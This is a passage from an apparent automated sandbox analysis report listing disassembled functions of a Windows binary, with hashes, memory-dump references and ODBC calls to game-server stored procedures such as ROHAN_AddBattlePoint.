                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_MOVECharResult] (?,?,?,?) }
                                                                                                                            • API String ID: 0-1039874972
                                                                                                                            • Opcode ID: 620834b614a1a832324f1f35e9428282fbcdc03d0227f826b425a432394cf107
                                                                                                                            • Instruction ID: 5af1ea8226363edc5d5a3810f3c2ca9a2ccbacfe4b5203ea68b245bba493d318
                                                                                                                            • Opcode Fuzzy Hash: 620834b614a1a832324f1f35e9428282fbcdc03d0227f826b425a432394cf107
                                                                                                                            • Instruction Fuzzy Hash: 4C3108746802147BFB249B94CD52FAA7335DF84B18F20828AF71C7E2C6D5B57D818B68
                                                                                                                            Function 00439409 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_AddBattlePoint] (?,?,?,?) },000000FD), ref: 0043941D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043945F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00439494
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004394CC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 00439504
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043953C
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddBattlePoint] (?,?,?,?) }, xrefs: 00439414
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddBattlePoint] (?,?,?,?) }
                                                                                                                            • API String ID: 0-3764794868
                                                                                                                            • Opcode ID: c6cf66e4ee98e5a194e402ed2f3da652beeea4bd01deb28bafd66eb7bd51d171
                                                                                                                            • Instruction ID: 9883638f84cb87be5bb0aeddb406c71920d48a673a323456e0288d13d6842d7d
                                                                                                                            • Opcode Fuzzy Hash: c6cf66e4ee98e5a194e402ed2f3da652beeea4bd01deb28bafd66eb7bd51d171
                                                                                                                            • Instruction Fuzzy Hash: EF3110B07442147FEB648B84CC52FAA7334DFC1B18F20828AF7556E2C5D5F179808B6A
                                                                                                                            Function 00438595 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_UpdTMileage] (?,?,?,?)},000000FD), ref: 004385A9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004385EB
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00438620
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438658
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438690
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004386C8
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_UpdTMileage] (?,?,?,?)}, xrefs: 004385A0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_UpdTMileage] (?,?,?,?)}
                                                                                                                            • API String ID: 0-1301631577
                                                                                                                            • Opcode ID: d2c61a4a31b376ed005a2e919a7e1d8bbf2a12cef974e62dda4b041bf840a9cb
                                                                                                                            • Instruction ID: 423dae9c8e3353a9d182ea9198d07511e73342afa402863d44ee4c609443c19d
                                                                                                                            • Opcode Fuzzy Hash: d2c61a4a31b376ed005a2e919a7e1d8bbf2a12cef974e62dda4b041bf840a9cb
                                                                                                                            • Instruction Fuzzy Hash: 0731F6B1654218BBEB209B94CC52FAD7374EB54B24F10828BF7147E2C5D5B5BD408F68
                                                                                                                            Function 00439B00 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetItemEventPaging] (?,?,?,?)},000000FD), ref: 00439B14
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00439B56
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00439B8B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00439BC3
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00439BFB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 00439C33
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetItemEventPaging] (?,?,?,?)}, xrefs: 00439B0B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetItemEventPaging] (?,?,?,?)}
                                                                                                                            • API String ID: 0-2971793806
                                                                                                                            • Opcode ID: ea8b13a676a525286c7f121b5fe9423c82de29cf764a0358432b18f0c60ffe40
                                                                                                                            • Instruction ID: ea4d347abc3887468686155e4bb84ab6ea7952c04036d7460d8ff90f2a0e2f5d
                                                                                                                            • Opcode Fuzzy Hash: ea8b13a676a525286c7f121b5fe9423c82de29cf764a0358432b18f0c60ffe40
                                                                                                                            • Instruction Fuzzy Hash: 71311EB0A442547BEB24EB84CC52FAD7735FB80B54F20428AF6156E2C1E6F57980CB68
                                                                                                                            Function 00445A0A Relevance: 12.1, APIs: 8, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00445A4B
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00445A7B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 00445AAB
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 00445ADB
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00445B0B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 00445B3B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00445B6B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000FA,?), ref: 00445B9B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: abab80ec95ddc621403f3d73f17da5ea96820dd490c36d48c366a0bc6424cb7d
                                                                                                                            • Instruction ID: e47ae982dd7e584f15360720f4e4cb54473e12fc421a4e5f748217fb785f93b8
                                                                                                                            • Opcode Fuzzy Hash: abab80ec95ddc621403f3d73f17da5ea96820dd490c36d48c366a0bc6424cb7d
                                                                                                                            • Instruction Fuzzy Hash: 1641DAB1A02118ABFB24DB09CD61FAA7375FB44718F1083C9F6196B3C5D671AE908F54
                                                                                                                            Function 00446B4A Relevance: 12.1, APIs: 8, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00446B8B
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00446BBB
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00446BEB
                                                                                                                            • #4.ODBC32(?,00000000,000000F1,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000F0,?), ref: 00446C1B
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F1,?,00000000,00000000,?,00000000,00000001,?), ref: 00446C4B
                                                                                                                            • #4.ODBC32(?,00000000,00000007,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F1,?), ref: 00446C7B
                                                                                                                            • #4.ODBC32(?,00000000,00000007,?,00000000,00000000,?,00000000,00000007,?,00000000,00000000,?,00000000,000000FA,?), ref: 00446CAB
                                                                                                                            • #4.ODBC32(?,00000000,00000007,?,00000000,00000000,?,00000000,00000007,?,00000000,00000000,?,00000000,00000007,?), ref: 00446CDB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 27ac55f23973a333f8a171e4ec5780a7fba4221bab6f9a449c01363214d53d89
                                                                                                                            • Instruction ID: 5cd090c368f0fc6e1218d4a9c93c1383d0696e2e3b8651ba0dea24f37f40de2d
                                                                                                                            • Opcode Fuzzy Hash: 27ac55f23973a333f8a171e4ec5780a7fba4221bab6f9a449c01363214d53d89
                                                                                                                            • Instruction Fuzzy Hash: C541FCB5A40118ABDB24DB09CC51FEA7375EF65708F10C2C9F6986B381D6B5ADC08F94
                                                                                                                            Function 00444B79 Relevance: 12.1, APIs: 8, Instructions: 121COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 00444BA8
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 00444BCC
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444BF0
                                                                                                                            • #4.ODBC32(?,00000000,000000E7,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000F0,?), ref: 00444C14
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?,00000000,00000000,?,00000000,000000E7,?), ref: 00444C38
                                                                                                                            • #4.ODBC32(?,00000000,0000005D,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000E7,?), ref: 00444C5C
